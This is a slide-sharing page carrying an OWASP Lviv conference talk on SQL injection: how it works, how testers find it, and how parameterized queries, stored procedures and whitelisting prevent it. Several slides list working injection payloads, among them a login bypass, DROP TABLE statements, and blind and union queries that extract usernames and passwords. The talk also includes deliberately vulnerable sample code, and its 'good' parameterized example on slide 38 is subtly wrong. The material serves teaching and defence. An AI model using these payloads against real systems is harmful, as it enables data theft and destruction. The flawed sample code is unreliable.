Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 

Recently uploaded (20)

Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 

Hack through Injections

  • 1. Hacking through Injections. Theory and practice Specially for IT-Weekend Lviv OWASP-LVIV.blogspot.com By Nazar Tymoshyk, SoftServe
  • 2. Theory: CODE problems Impact How to find How to prevent Practice: Small hack References Training Lab Agenda
  • 3. What do you see in this request? GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1 Host: superdupershop.com Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH= f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f 4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a810534 0b8ccc6c8e64dfa37ae953f987517
  • 4. What is SQL Injection? Unauthorized database access by an external source using specially crafted code to piggyback on standard user input to bypass normal protections. Why? Gain access to restricted website areas Query unauthorized data Delete or corrupt data  User accounts, credentials, and personal information  Descriptions and prices of goods for sale  Orders, account statements, and payment details  The privileges of each user within the application
  • 5. This is a real problem and it’s dangerous • DoS • Data loss or corruption • Data leakage • Sometimes can lead to complete host takeover • Reputation can be harmed.
  • 6. Let’s start from smallHACK http://127.0.0.1:8888/mutillidae/
  • 7. SQL-i SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ INJECT : admin’-- SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’ SELECT * FROM users WHERE username = ‘admin’
  • 9.
  • 10. Training Lab • DVWA • Gruyere • WebGoat .Net • WebGoat Java • https://xss-game. appspot.com/ • OWASP Mutillidae II • OWASP Broken Web Applications Project • https://www.hacking-lab. com
  • 11. Aha, here is a source code for firsrequest var shopId = Request["shopId"]; var productId = Request["productId"]; var coupon = Request["coupon"]; var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE coupon LIKE {0}", coupon); var cmd = new SqlCommand(sqlCommandTxt, dataConnection); // Execute query, process result etc...
  • 12. Let’s Fix this code. var shopId = Request["shopId"]; var productId = Request["productId"]; var coupon = Request["coupon"]; var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE @couponPattern", dataConnection); cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); // Execute query, process result etc... Is it fixed?
  • 13. Now it’s fixed var shopId = 0; if (!int.TryParse(Request["shopId"], out shopId)) { throw new InvalidArgumentException(); } var productId = 0; if (!int.TryParse(Request["productId"], out productId)) { throw new InvalidArgumentException(); } var coupon = Request["coupon"]; if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$")) { throw new InvalidArgumentException(); } var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection); cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); // Execute query, process result etc...
  • 14. Python Code import MySQLdb def book_search_view(request): if 'bookname' not in request.GET: raise Http404 conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = "test") cursor = conn.cursor () name = request.GET['bookname'] cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) row = cursor.fetchone () cursor.close () conn.close () return render_to_response('booklist.html', row, context_instance=RequestContext(request))
  • 15. A small problem • Normal SQL • name=“Moby Dick” SELECT * FROM table_books WHERE book_name = ‘Moby Dick’ • SQL Injection – bad day • name=“1’; SELECT * from Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ • SQL Injection 2 – really bad day • name=“1’; DROP TABLE Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; DROP TABLE Users; --’
  • 18. TOOLS 1. sqlmap: automatic SQL injection and database takeover tool 2. SQL Inject Me :: Add-ons for Firefox 3. Zed Attack Proxy 4. Burp Suite 5. W3AF 6. Wapiti 7. Havij Pro 8. Nikto 9. IronWASP
  • 19. DEMO 2 Testing security tools: •SQL Map •Burp Suite
  • 20. MANUAL Penetration Testing • Error • Union In-band • Dns • Ping Out-band • Sleep •Waitfor Inferential (Blind)
  • 21. This is old problem BLIND • sleep%281%29%2b1%29%20limit%201%20-- • sleep(1)+1) limit 1 -- • 1+and+sleep(10)-- • 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)-- • 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)-- • +OR+1=1-- • +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns-- • +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- • +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+li mit+0,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+0,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+3,1)))-- • +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w here+table_schema!='information_schema'+limit+4,1)))--
  • 22. Typical examples of cases when an application needs to talk to a DB include: The first step in this test is to understand when the application interacts with a DB Server in order to access some data. 1. Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes). 2. Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database. 3. E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.
  • 24. General approaches to SQL Injection Defense Primary Defenses: Option #1: Use of Prepared Statements (Parameterized Queries) Option #2: Use of Stored Procedures Option #3: Escaping all User Supplied Input Additional Defenses: Also Enforce: Least Privilege Also Perform: White List Input Validation https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
  • 25. Where to Learn more • http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture • http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application- security-risks • http://www.irongeek.com/i.php?page=security/hackingillustrated • http://google-gruyere.appspot.com/ • https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL- 005)
  • 27. Thank you Contact me: Nazar Tymoshyk Skype: root_nt Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com
  • 28. Blind SQL injections http://site/?param=-1 OR 1=1 http://site/?param=-1 OR 1=1-- ... http://site/?param=-1' http://site/?param=-1' AND 1=2 ... http://site/?param=-1' OR '1'='1 ... http://site/?param=-1"/* ... http://site/?param=2 http://site/?param=1 http://site/?param=2-1 ... http://site/?param=1' AND 1=1 http://site/?param=1' AND '1'='1
  • 29. Double Blind SQL-i • http://site/?param=-1 AND benchmark(2000,md5(now())) • ... • http://site/?param=-1' AND benchmark(2000,md5(now()))--
  • 30. Escape User Input • Hard to do right • You’ll probably screw it up if you don’t cover all the cases • So don’t write your own regex • MySQLdb.escape_string • Pro: Handles almost all encoding evasions • Con: Error prone because it depends on humans to always use it
  • 31. import MySQLdb def book_search_view(request): if 'bookname' not in request.GET: raise Http404 conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = "test") cursor = conn.cursor () name = MySQLdb.escape_string(request.GET['bookname'] ) cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) row = cursor.fetchone () cursor.close () conn.close () return render_to_response('booklist.html', row, context_instance=RequestContext(request))
  • 32. What does the escaped version look like? • SQL Injection – bad day • name=“1’; SELECT * from Users; --” SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ • SQL Injection 2 – really bad day • name=“1’; DROP TABLE Users; --” SELECT * FROM table_books WHERE book_name = ‘1’;DROP TABLE Users; --’
  • 34. Even more Evasion Techniques • Multibyte atttacks • http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string • http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html • Even the experts don’t get it right • MySQL patches bugs in their escaping routines
  • 35. White List • Scrub data to a known set of inputs • Pros • Works well for variables with limited range • Fast • Cons • Can only be used in customized locations • Error prone • You might forgot • Or the intern might not understand • Example: user id must only contain 6 numbers
  • 36. Stored Procedures • Use the inherent store procedure capabilities • Pros • Forces parameterization of all user input • Cons • Can still be bypassed if sql string is generated in code and passed to stored procedure • Not portable between databases
  • 37. Parameterized Queries • Use DB API (mysqldb.execute) properly • Use Django ORM • Use SQLAlchemy (pylons, flask) • Really have to work hard to expose yourself • Pros • Generally easier to model data • Cons • ORMs sometimes limit advanced SQL • Bottom line: use a framework!
  • 38. MySQLdb.execute Bad: cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) Good: cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name) Seriously? Yes
  • 39. Thank you Contact me: Nazar Tymoshyk Skype: root_nt Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com